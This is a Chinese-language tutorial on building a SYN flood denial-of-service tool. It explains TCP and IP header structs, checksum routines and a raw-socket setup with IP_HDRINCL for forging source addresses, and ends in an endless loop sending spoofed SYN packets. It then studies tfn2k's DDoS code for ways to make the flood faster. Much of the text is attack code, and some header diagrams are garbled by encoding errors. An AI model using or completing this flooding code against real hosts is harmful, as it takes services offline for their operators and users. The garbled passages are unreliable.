By:Xy7(B.C.T)
原理:
三次握手
假設一個用戶向服務器發送了SYN報文后突然再無回應報文,那么服務器在發出SYN+ACK應答報文后是無法收到客戶端的注意后一個確認ACK報文,這種情況下服務器端一般會重試連接并等待一段時間后丟棄這個未完成的連接,這段時間 的長度我們稱為SYN Timeout。如果模擬大量的SYN請求,將會導致目標主機無法維護大量的半連接請求,消耗資源,造成synflood。
想要了解synflood的原理首先要了解協議頭,一個TCP報文結構如下:
0 1 2 3 4 5 6
0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ?。桑惺撞俊 ?。裕茫惺撞俊 ?。裕茫袛祿巍??|
???? +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
其中包含了IP頭,TCP頭和數據部分。一個TCP報文由三個部分構成:20字節的IP首部、20字節的TCP首部與不定長的數據段。一般如果檢測到ip_header_length<20則可以判斷為IP頭長度錯誤即為一個畸形包。
接下來看看TCP頭的結構,如下圖:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 十六位源端口號 | 十六位目標端口號 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 三十二位序列號 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 三十二位確認號 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 四位 | |U|A|P|R|S|F| |
| 首部 |六位保留位 |R|C|S|S|Y|I| 十六位窗口大小 |
| 長度 | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 十六位校驗和 | 十六位緊急指針 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 選項(若有) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 數據(若有) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
一般synflood程序都需要自己定義一個TCP頭結構包含以上部分,可定義結構如下:
ypedef struct _tcphdr
{
USHORT th_sport; //16位源端口
USHORT th_dport; //16位目的端口
unsigned int th_seq; //32位序列號
unsigned int th_ack; //32位確認號
unsigned char th_lenres; //4位首部長度+6位保留字中的4位
unsigned char th_flag; //2位保留字+6位標志位
USHORT th_win; //16位窗口大小
USHORT th_sum; //16位校驗和
USHORT th_urp; //16位緊急數據偏移量
}TCP_HEADER;
通過填充這個結構并將TCP_HEADER.th_flag賦值為2(二進制的00000010)我們能制造一個SYN的TCP報文,各標志位的2進制如下
SYN:00000010
SYN—ACK:00010010
ACK:00010000
ACK—PUSH:00011000
全標志位1:3F
接著需要定義IP頭,IP頭結構如下:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 版本 | 長度 | 八位服務類型 | 十六位總長度 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 十六位標識 | 標志| 十三位片偏移 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 八位生存時間 | 八位協議 | 十六位首部校驗和 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 三十二位源IP地址 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 三十二位目的IP地址 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 選項(若有) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 數據 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
定義IP結構
ypedef struct _iphdr
{
unsigned char h_verlen; //4位首部長度+4位IP版本號
unsigned char tos; //8位服務類型TOS
unsigned short total_len; //16位總長度(字節)
unsigned short ident; //16位標識
unsigned short frag_and_flags; //3位標志位
unsigned char ttl; //8位生存時間 TTL
unsigned char proto; //8位協議號(TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校驗和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IP_HEADER;
然后最重要的就是完成CRC校驗功能的函數。簡單的說CRC校驗的算法流程可以表現為如下形式:
1、 把校驗和字段置為0,做初期求和運算
2、 對IP頭部中的每16bit二進制累加求和
3、 如果和的高16bit不為0,則將和的高16bit和低16bit反復相加,直到和的高16bit為0,從而獲得一個16bit的值;
4、 將該16bit的值取反,存入校驗和字段
舉個例子來說明如何獲取CRC校驗的值,看如下IP頭:
IP Header - Internet Protocol Datagram
Version: 4
Header Length: 5 (20 bytes)
Differentiated Services:%00000000
0000 00.. Default
.... ..00 Not-ECT
?
Total Length: 47
Identifier: 57856
Fragmentation Flags: %000
0.. Reserved
.0. May Fragment
..0 Last Fragment
?
Fragment Offset: 0 (0 bytes)
Time To Live: 3
Protocol: 17 UDP
Header Checksum: 0x5226
Source IP Address: 192.168.1.70
Dest. IP Address: 192.168.1.1
可以看到 Header Checksum: 0x5226,也就是CRC校驗值為5226,現在來通過運算得到這個值。
首先需要獲取IP頭各字段的16進制,直接查看sniffer到的包里就可以的到,值如下:
4500002FE200000003115226C0A80146C0A80101
對應關系如下:
45--
Version: 4
Header Length: 5
00--Differentiated Services:%00000000
002F--Total Length: 47
E200--Identifier: 57856
0000--Fragmentation Flags: %000, Fragment Offset: 0
03--Time To Live: 3
11--Protocol: 17
5226--Header Checksum: 0x5226
C0A80146C0A80101--Source IP Address: 192.168.1.70
Dest. IP Address: 192.168.1.1
然后將高16bit與低16bit相加:4500+002F+E200+0000+0311+0000[初始校驗字段為0]+C0A8+0146+C0A8 +0101=2ADD7,這步拿win下的計算器就可以完成,接著進位到高位的16bit與低16bit再相加:0002+ADD7=ADD9,再將這個 16bit值取反結果為:5226??梢钥吹礁?Header Checksum: 0x5226是一致的。
這是發送時的CRC校驗,當目標收到該IP包時也需要進行CRC校驗,算法相同,只不過把0000替換為5226,進行累加求和取反,如果得到的CRC校驗位的值還原回0000,則校驗成功??匆粋€網上比較流行的CRC校驗函數,簡單注釋了下:
USHORT checksum(USHORT* buffer, int size)
{
unsigned long cksum = 0;//這里初始化CRC校驗字段為0
while(size>1)
{
cksum += *buffer++;//各位求和
size -= sizeof(USHORT);
}
if(size)
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum>>16) + (cksum&0xffff); //先預置一個16 位的CRC寄存器為0xFFFF,然后高低位求和
cksum += (cksum>>16); //將進位到高位的16bit與低16bit 再相加
return (USHORT)(~cksum);//最后取反,存入CRC寄存器中
}
由于TCP首部中不包含源地址與目標地址等信息,為了保證TCP校驗的有效性,在進行TCP校驗和的計算時,需要增加一個TCP偽首部的校驗和,定義如下:
struct
{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz; //置空
char ptcl; //協議類型
unsigned short tcpl; //TCP長度
}psd_header;
然后將這兩個字段復制到同一個緩沖區SendBuf中并計算TCP校驗和:
memcpy( buffer[n], &PsdHeader, sizeof(PsdHeader) );
memcpy( buffer[n] + sizeof(PsdHeader), &TcpHeader, sizeof(TcpHeader) );
TcpHeader.th_sum = CheckSum( (unsigned short *) buffer[n], sizeof(PsdHeader) + sizeof(TcpHeader) );
IP校驗:
memcpy( buffer[n], &IpHeader, sizeof(IpHeader) );
memcpy( buffer[n] + sizeof(IpHeader), &TcpHeader, sizeof(TcpHeader) );
memset( buffer[n] + sizeof(IpHeader) + sizeof(TcpHeader), 0, 4 );
IpHeader.checksum = CheckSum( (unsigned short *) buffer[n], PACKET_SIZE );
再將計算過校驗和的IP首部與TCP首部復制到同一個緩沖區:
memcpy( buffer[n], &IpHeader, sizeof(IpHeader) );
memcpy( buffer[n]+sizeof(IpHeader), &TcpHeader, sizeof(TcpHeader) );
然后建立一個原始套接口,由于我IP源是偽造的,需要在setsockopt中設置IP_HDRINCL告訴系統自己填充IP首部并自己計算校驗和:
int flag = 1;
if( setsockopt( sock, IPPROTO_IP, IP_HDRINCL, (char *)&flag, sizeof(flag)) < 0 )
{
printf("setsockopt error...%d\n", errno);
exit (-1);
}
一切準備好后再把IP頭和TCP頭以及偽頭的相關字段填充下:
IpHeader.h_verlen = (4<<4 | sizeof(IpHeader)/sizeof(unsigned long));
IpHeader.tos = 0;
IpHeader.total_len = htons(sizeof(IpHeader)+sizeof(TcpHeader));
IpHeader.ident = 1;
IpHeader.frag_and_flags = 0x40;
IpHeader.ttl = 128;
IpHeader.proto = IPPROTO_TCP;
IpHeader.checksum = 0;
IpHeader.sourceIP = inet_addr(src_ip);
IpHeader.destIP = inet_addr(dst_ip);
TcpHeader.th_sport = htons( rand()%60000 + 1 );
TcpHeader.th_dport = htons( dst_port );
TcpHeader.th_seq = htonl( rand()%900000000 + 1 );
TcpHeader.th_ack = 0;
TcpHeader.th_lenres = (sizeof(TcpHeader)/4<<4|0);
TcpHeader.th_flag = 2;
TcpHeader.th_win = htons(512);
TcpHeader.th_sum = 0;
TcpHeader.th_urp = 0;
PsdHeader.saddr = IpHeader.sourceIP;
PsdHeader.daddr = IpHeader.destIP;
PsdHeader.mbz = 0;
PsdHeader.ptcl = IPPROTO_TCP;
PsdHeader.tcpl = htons(sizeof(TcpHeader));
最后就可以發送了:
while( 1 )
{
if( flag < PACKET_NUM )
{
sendto( sock, buffer[flag], PACKET_SIZE, 0, (struct sockaddr *)(&sa), sizeof(struct sockaddr_in) );
outcount ++;
flag ++;
MySleep( sleeptime );
}
else
{
flag = 0;
}
}
close(sock);
}
以上的程序是一個典型的synflood程序結構,沒有做太多的優化,可以比較著看下tfn2k的synflood實現:
struct ip
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
u8 ihl:4, ver:4;
#else
u8 ver:4, ihl:4;
#endif
u8 tos;
u16 tl, id, off;
u8 ttl, pro;
u16 sum;
u32 src, dst;
};
struct tcp
{
u16 src, dst;
u32 seq, ack;
#if __BYTE_ORDER == __LITTLE_ENDIAN
u8 x2:4, off:4;
#else
u8 off:4, x2:4;
#endif
u8 flg; /* flag1 | flag2 */
#define FIN 0x01
#define SYN 0x02
#define RST 0x04
#define PUSH 0x08
#define ACK 0x10
#define URG 0x20
u16 win, sum, urp;
};
各標志位都已經定義出來,可以對比著前面的定義看下,這樣更簡潔高效了
再看下tfn2k如何做CRC校驗的,他是分了3步,首先定義一個最初的SUM運算函數:
unsigned long sum(u16 *buff,int len)
{
unsigned long cksum;
for (cksum = 0; len > 0; len-=2)
cksum += *buff++;
return cksum;
}
接著在填充過程中做運算
ipsum=sum((u16*)ih,sizeof(struct ip));
tcpsum=sum((u16*)th,sizeof(struct tcp)+sizeof(tcpopt)+sizeof(struct phdr));
在發送的函數中完成最后一步取反
sumtcp+=((th->seq)&0xffff);
sumtcp+=((th->seq)>>16);
// ptcph->sip=ih->src;
sumtcp+=((ih->src)&0xffff);
sumtcp+=((ih->src)>>16);
sumtcp=(sumtcp>>16)+(sumtcp&0xffff);
sumtcp+=(sumtcp>>16);
th->sum=(u16)(~sumtcp);
這種優化看似分散但確實提高不少效率,可以看到TCP包很多字段都相同,比如協議版本等,那么事先把一些初始化之類的工作放在前面做,包括初期的求和運算,都計算完成后,填充緩沖區的步驟直接放在發送攻擊的主函數里,并定義好指向結構的指針:
struct ip *ih = (struct ip *) synb;
struct tcp *th = (struct tcp *) (synb + sizeof (struct ip));
struct phdr *ptcph=(struct phdr*)(synb+sizeof(struct ip )+sizeof(struct tcp)+sizeof(tcpopt));
然后發送的時候直接從結構里取數據,然后組裝,最后填入緩沖區發送。就比如定點3分,直接從旁邊的框里取籃球,而并不是投完一個再去揀球回來再投,2者的效率可想而知了。
這篇文章初期的分析來自與云舒寫的那個synflood程序:http://www.icylife.net/yunshu/show.php?id=367,從中可以很清晰的了解synflood攻擊的整個過程,而tfn2k帶來的卻是一種成熟的編碼方式以及優化措施,能使我們的理解更上一層樓,當然這些都是最基礎的分析,tfn2k的魅力遠不止如此,等待慢慢發現吧。
?